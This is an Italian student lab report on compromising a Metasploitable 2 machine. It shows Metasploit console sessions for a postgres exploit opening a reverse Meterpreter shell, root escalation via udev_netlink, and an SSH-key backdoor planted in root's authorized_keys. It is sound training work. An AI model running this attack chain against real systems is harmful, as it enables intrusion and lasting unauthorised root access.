

Report Privilege Escalation e Persistenza su Sistema Linux

Data: 21 Gennaio 2026

Studente: Nicola Cassandra

Obiettivo: Ottenere i privilegi di amministratore (root) su una macchina target compromessa e garantire la persistenza dell'accesso.

Target: Metasploitable 2 (Linux)

Introduzione e Scenario Iniziale

Inizialmente ho effettuato un exploit alla macchina vittima entrando come utente postgres quindi con privilegi limitati (utente standard). L'obiettivo della fase successiva è stato duplice: elevare i privilegi fino al livello **root** (Escalation) e installare una backdoor per accessi futuri (Persistence).

Ricognizione Post-Exploitation

Per identificare il vettore d'attacco più idoneo per l'escalation, è stata effettuata una scansione interna una volta ottenuto l'accesso è stato utilizzato il modulo di Metasploit **post/multi/recon/local_exploit_suggester**. Questo strumento ha analizzato la versione del kernel e i pacchetti installati sulla macchina vittima, confrontandoli con un database di vulnerabilità note.

La scansione ha prodotto diversi risultati positivi (evidenziati in verde), indicando che il sistema era vulnerabile a molteplici exploit locali, tra cui vulnerabilità legate a *glibc*, *netfilter* e *udev*.

```
msf post(multi/recon/local_exploit_suggester) > sessions
Active sessions

```

Id	Name	Type	Information	Connection
1		meterpreter	x86/linux postgres @ metasploitable.localdomain	192.168.50.10:4444 → 192.168.50.15:39309 (192.168.50.15)

```
msf post(multi/recon/local_exploit_suggester) > set session 1
session → 1
msf post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

```

Name	Current Setting	Required	Description
SESSION	1	yes	The session to run this module on
SHOWDESCRIPTION	false	yes	Displays a detailed description for the available exploits

```
View the full module info with the info, or info -d command.
msf post(multi/recon/local_exploit_suggester) > |
```

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.15 - Collecting local exploits for x86/Linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.50.15 - 237 exploit checks are being tried...
[*] 192.168.50.15 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.50.15 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.50.15 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.50.15 - exploit/unix/local/setuid_mmap: The target is vulnerable. /usr/bin/mmap is setuid

[*] 192.168.50.15 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
- - - - -
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/linux/persistence/autostart Yes The service is running, but could not be validated. Xorg is installed, possible desktop in
still
7 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8 exploit/unix/local/setuid_mmap Yes The target is vulnerable. /usr/bin/mmap is setuid
9 exploit/linux/local/sbrt_raceabrt_priv_esc No The target is not exploitable.
10 exploit/linux/local/sbrt_sosreport_priv_esc No The target is not exploitable.
11 exploit/linux/local/sf_isset_choose_root_priv_esc No The target is not exploitable. System architecture i686 is not supported
12 exploit/linux/local/sf_packet_bucket_set_ring_priv_esc No The target is not exploitable.
13 exploit/linux/local/ansible_node_deployer No The target is not exploitable. Ansible does not seem to be installed, unable to find ansible
```

3. Privilege Escalation (Scalata dei Privilegi)

Dopo aver analizzato i risultati, è stato effettuato un primo tentativo con exploit che richiedevano la compilazione di codice sulla macchina target (es. *netfilter*). Tuttavia, questo approccio ha evidenziato la mancanza del compilatore **gcc** sul sistema vittima, rendendo necessaria la scelta di un exploit diverso.

La scelta è ricaduta su una vulnerabilità logica che non richiede compilazione complessa: **exploit/linux/local/udev_netlink**.

Per eseguire l'attacco sono stati configurati i seguenti parametri:

- **SESSION:** Impostata sulla sessione attiva 1 per utilizzare il canale esistente.
- **LHOST:** Indirizzo IP della macchina attaccante (Kali).

L'esecuzione dell'exploit ha avuto successo, aprendo una nuova sessione Meterpreter (Session 2). La verifica tramite il comando **getuid** ha confermato l'acquisizione dei privilegi massimi: **uid=0(root)**.

```
msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2374
[*] Found netlink pid: 2373
[*] Writing payload executable (207 bytes) to /tmp/bTiCROvvng
[*] Writing exploit executable (1879 bytes) to /tmp/ujNFPgcIOI
[*] chmod'ing and running it...
[*] Sending stage (1062760 bytes) to 192.168.50.15
[*] Meterpreter session 2 opened (192.168.50.10:4444 => 192.168.50.15:37053) at 2026-01-21 10:39:35 -0500
```

```
meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 2...
```

4. Implementazione della Persistenza

```
msf exploit(unix/local/setuid_nmap) > search post/linux/manage/

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  post/linux/manage/adduser                .               normal  No     Add a new user to the system
1  post/linux/manage/disable_clamav         .               normal  No     Disable ClamAV
2  post/linux/manage/geutebruck_post_exp    .               normal  No     Geutebruck Camera Deface
3  \   action: CHANGE_IMAGE                  .               .       .     Display an arbitrary image instead of the video stream
4  \   action: FREEZE_CAMERA                 .               .       .     Freeze the camera and display the last image taken from the video stream
5  \   action: RESUME_STREAM                 .               .       .     Resume the camera's video stream and display the current live feed
6  post/linux/manage/iptables_removal       .               normal  No     IPTABLES rules removal
7  post/linux/manage/download_exec          .               normal  No     Linux Manage Download and Execute
8  post/linux/manage/dns_spoofing           .               normal  No     Native DNS Spoofing module
9  post/linux/manage/pseudo_shell           .               normal  No     Pseudo-Shell Post-Exploitation Module
10 post/linux/manage/sshkey_persistence      .               excellent No     SSH Key Persistence

Interact with a module by name or index. For example info 10, use 10 or use post/linux/manage/sshkey_persistence

msf exploit(unix/local/setuid_nmap) > █
```

Con i privilegi di root garantiti, l'attenzione si è spostata sulla creazione di un accesso persistente che non richiedesse di rieseguire l'exploit in futuro. È stato utilizzato il modulo di post-exploitation **post/linux/manage/sshkey_persistence**.

Il modulo è stato configurato per operare sulla sessione privilegiata (Session 2). Una volta lanciato, ha eseguito automaticamente due azioni critiche:

1. Generazione di una nuova coppia di chiavi SSH.
2. Installazione della chiave pubblica nel file **authorized_keys** dell'utente root sulla macchina vittima.

L'output del modulo ha fornito il percorso locale della **chiave privata** necessaria per l'autenticazione.

```
msf post(linux/manage/sshkey_persistence) > set session 2
session => 2
msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[*] Finding .ssh directories
[*] Storing new private key as /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/user/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /root/.ssh/authorized_keys
[*] Key Added
[*] Post module execution completed
```

5. Verifica dell'Accesso e Risoluzione Problemi SSH

La fase finale ha previsto la verifica della backdoor tramite connessione SSH diretta. Durante questo processo sono state affrontate e risolte due problematiche tecniche:

1. **Permessi della Chiave:** Il client SSH ha inizialmente rifiutato la chiave privata perché i permessi erano troppo aperti. Il problema è stato risolto applicando **chmod 600 <chiave>**.
2. **Compatibilità Crittografica:** A causa dell'obsolescenza del sistema target (Metasploitable 2), gli algoritmi di cifratura moderni di Kali Linux non erano compatibili con quelli del server. È stato necessario forzare l'uso dell'algoritmo RSA

tramite le opzioni `-o HostKeyAlgorithms=+ssh-rsa` e `-o PubkeyAcceptedKeyTypes=+ssh-rsa`.

Il comando finale utilizzato è stato:

Bash

```
ssh -o HostKeyAlgorithms=+ssh-rsa -i /percorso/chiave root@IP_TARGET
```

Il test ha confermato l'accesso completo alla shell di root senza richiesta di password.

```
(kali@kali)-[~]
└─$ chmod 600 /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt

(kali@kali)-[~]
└─$ ssh -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
Unable to negotiate with 192.168.50.15 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
└─$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Jan 21 07:54:04 2026 from :0.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#
```

Conclusioni

L'attività di test ha dimostrato la grave insicurezza del sistema target. Attraverso la catena di attacco eseguita, è stato possibile passare da un utente con privilegi minimi al controllo totale della macchina, stabilendo inoltre un canale di accesso permanente difficile da rilevare.

configurazione metasploit linux/postgres/postgres_payload ed esecuzione

```
Used when making a new connection via RHOSTS:

Name      Current Setting  Required  Description
--
DATABASE  postgres         no        The database to authenticate against
PASSWORD  postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS    192.168.50.15    no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port (TCP)
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--
LHOST     192.168.50.10   yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.

msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] 192.168.50.15:5432 - 192.168.50.15:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.15:5432 - Uploaded as /tmp/XeQxbKBE.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.15
[*] Meterpreter session 1 opened (192.168.50.10:4444 → 192.168.50.15:39309) at 2026-01-21 10:04:58 -0500

meterpreter > 
```

```
meterpreter > getuid
Server username: postgres
```

utilizzo modulo post

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	post/multi/recon/multiport_egress_traffic	-	normal	No	Generate TCP/UDP Outbound Traffic On Multiple Ports
1	exploit/windows/misc/hp_operations_agent_coda_3a	2012-07-09	normal	Yes	HP Operations Agent Opcode coda.exe 0x3a Buffer Overflow
2	\ target: HP Operations Agent 11.00 / Windows XP SP3	-	-	-	-
3	\ target: HP Operations Agent 11.00 / Windows 2003 SP2	-	-	-	-
4	exploit/windows/misc/hp_operations_agent_coda_8c	2012-07-09	normal	Yes	HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow
5	\ target: HP Operations Agent 11.00 / Windows XP SP3	-	-	-	-
6	\ target: HP Operations Agent 11.00 / Windows 2003 SP2	-	-	-	-
7	auxiliary/admin/hp/hp_ilo_create_admin_account	2017-08-24	normal	Yes	HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation
8	exploit/linux/http/pineapple_bypass_cmdinject	2015-08-01	excellent	Yes	Hak5 WiFi Pineapple Preconfiguration Command Injection
9	exploit/linux/http/pineapple_preconfig_cmdinject	2015-08-01	excellent	Yes	Hak5 WiFi Pineapple Preconfiguration Command Injection
10	exploit/windows/http/ivanti_avalanche_filestore_reconfile_upload	2023-04-24	excellent	Yes	Ivanti Avalanche FileStore reconfile File Upload
11	exploit/multi/http/moodle_teacher_enrollment_priv_esc_to_rce	2020-07-20	good	Yes	Moodle Teacher Enrollment Privilege Escalation to RCE
12	post/multi/recon/local_exploit_suggester	-	normal	No	Multi Recon Local Exploit Suggester
13	post/multi/recon/persistence_suggester	-	normal	No	Persistence Exploit Suggester
14	post/multi/recon/reverse_lookup	-	normal	No	Reverse Lookup IP Addresses
15	auxiliary/admin/sap/cve_2020_6287_ws_add_user	2020-07-14	normal	Yes	SAP Unauthenticated WebService User Creation
16	\ action: ADD	-	-	-	Add the specified user
17	\ action: REMOVE	-	-	-	Remove the specified user
18	exploit/linux/http/altimi_m300_time_rce	2025-08-07	good	Yes	Shenzhen Altimi M300 Wi-Fi Repeater Unauthenticated RCE (time param)
19	\ target: Unix Command	-	-	-	-
20	\ target: Linux Meterpreter MIPSBE (MAY crash HTTP worker)	-	-	-	-
21	post/multi/recon/sudo_commands	-	normal	No	Sudo Commands
22	post/windows/gather/credentials/skype	-	normal	No	Windows Gather Skype Saved Password Hash Extraction
23	post/windows/recon/outbound_ports	-	normal	No	Windows Outbound-Filtering Rules
24	post/windows/recon/computer_browser_discovery	-	normal	No	Windows Recon Computer Browser Discovery
25	exploit/multi/http/wp_popular_posts_rce	2021-06-11	normal	Yes	Wordpress Popular Posts Authenticated RCE

Interact with a module by name or index. For example `info 25`, use `25` or use `exploit/multi/http/wp_popular_posts_rce`

```
msf exploit(linux/postgres/postgres_payload) > use 12
msf post(multi/recon/local_exploit_suggester) >
```

settaggio modulo post scansione

```
msf post(multi/recon/local_exploit_suggester) > sessions

Active sessions

  Id  Name      Type      Information                                     Connection
  --  ---      -
  1    meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.50.10:4444 → 192.168.50.15:39309 (192.168.50.15)

msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name              Current Setting  Required  Description
  ---              -
  SESSION            1                yes       The session to run this module on
  SHOWDESCRIPTION    false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) >
```

risultato scansione

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.15 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.50.15 - 237 exploit checks are being tried...
[*] 192.168.50.15 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.50.15 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.15 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.50.15 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.50.15 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.15 - Valid modules for session 1:

  #  Name                                                                 Potentially Vulnerable?  Check Result
  --  ---
  1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc                Yes                       The target appears to be vulnerable.
  2  exploit/linux/local/glibc_origin_expansion_priv_esc                Yes                       The target appears to be vulnerable.
  3  exploit/linux/local/netfilter_priv_esc_ipv4                         Yes                       The target appears to be vulnerable.
  4  exploit/linux/local/ptrace_sudo_token_priv_esc                      Yes                       The service is running, but could not be validated.
  5  exploit/linux/local/su_login                                         Yes                       The target appears to be vulnerable.
  6  exploit/linux/persistence/autostart                                  Yes                       The service is running, but could not be validated. Xorg is installed, possible desktop in
  stall.
  7  exploit/multi/persistence/cron                                       Yes                       The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
  8  exploit/unix/local/setuid_nmap                                       Yes                       The target is vulnerable. /usr/bin/nmap is setuid
  9  exploit/linux/local/abrt_raceabrt_priv_esc                          No                        The target is not exploitable.
  10 exploit/linux/local/abrt_sosreport_priv_esc                          No                        The target is not exploitable.
  11 exploit/linux/local/sf_packet_chocobo_root_priv_esc                 No                        The target is not exploitable. System architecture 1680 is not supported
  12 exploit/linux/local/sf_packet_packet_setting_priv_esc              No                        The target is not exploitable.
  13 exploit/linux/local/ansible_node_deployer                          No                        The target is not exploitable. Ansible does not seem to be installed. unable to find ansible
```

utilizzo modulo exploit(unix/local/udev_netlink)

```
msf exploit(linux/local/udev_netlink) > options

Module options (exploit/linux/local/udev_netlink):

  Name      Current Setting  Required  Description
  --      -
  NetlinkPID no              yes       Usually udevd pid-1. Meterpreter sessions will autodetect
  SESSION   yes              The session to run this module on

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.50.10   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.

msf exploit(linux/local/udev_netlink) > set session 1
session => 1
```

risultato exploit

```
msf exploit(linux/local/udev_netlink) > set session 1
session => 1
msf exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.10:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2374
[*] Found netlink pid: 2373
[*] Writing payload executable (207 bytes) to /tmp/bTiCR0vvng
[*] Writing exploit executable (1879 bytes) to /tmp/ujNFPgcIOI
[*] chmod'ing and running it...
[*] Sending stage (1062760 bytes) to 192.168.50.15
[*] Meterpreter session 2 opened (192.168.50.10:4444 -> 192.168.50.15:37053) at 2026-01-21 10:39:35 -0500
```

selezione modulo backdoor

```
msf exploit(unix/local/setuid_nmap) > search post/linux/manage/

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  post/linux/manage/adduser                .               normal  No      Add a new user to the system
1  post/linux/manage/disable_clamav         .               normal  No      Disable ClamAV
2  post/linux/manage/geutebruck_post_exp   .               normal  No      Geutebruck Camera Deface
3  \ action: CHANGE_IMAGE                   .               .       .       Display an arbitrary image instead of the video stream
4  \ action: FREEZE_CAMERA                  .               .       .       Freeze the camera and display the last image taken from the video stream
5  \ action: RESUME_STREAM                  .               .       .       Resume the camera's video stream and display the current live feed
6  post/linux/manage/iptables_removal      .               normal  No      IPTABLES rules removal
7  post/linux/manage/download_exec         .               normal  No      Linux Manage Download and Execute
8  post/linux/manage/dns_spoofing          .               normal  No      Native DNS Spoofing module
9  post/linux/manage/pseudo_shell          .               normal  No      Pseudo-Shell Post-Exploitation Module
10 post/linux/manage/sshkey_persistence     .               excellent No      SSH Key Persistence

Interact with a module by name or index. For example info 10, use 10 or use post/linux/manage/sshkey_persistence

msf exploit(unix/local/setuid_nmap) >
```

risultato utilizzo modulo

```
msf post(linux/manage/sshkey_persistence) > set session 2
session => 2
msf post(linux/manage/sshkey_persistence) > run
[*] Checking SSH Permissions
[*] Authorized Keys File: .ssh/authorized_keys
[*] Finding .ssh directories
[*] Storing new private key as /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt
[*] Adding key to /home/msfadmin/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /home/user/.ssh/authorized_keys
[*] Key Added
[*] Adding key to /root/.ssh/authorized_keys
[*] Key Added
[*] Post module execution completed
```

utilizzo della backdoor

```
(kali@kali)-[~]
$ chmod 600 /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt

(kali@kali)-[~]
$ ssh -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
Unable to negotiate with 192.168.50.15 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
$ ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i /home/kali/.msf4/loot/20260121105749_default_192.168.50.15_id_rsa_234300.txt root@192.168.50.15
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Last login: Wed Jan 21 07:54:04 2026 from 10.0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.
root@metasploitable:~#
```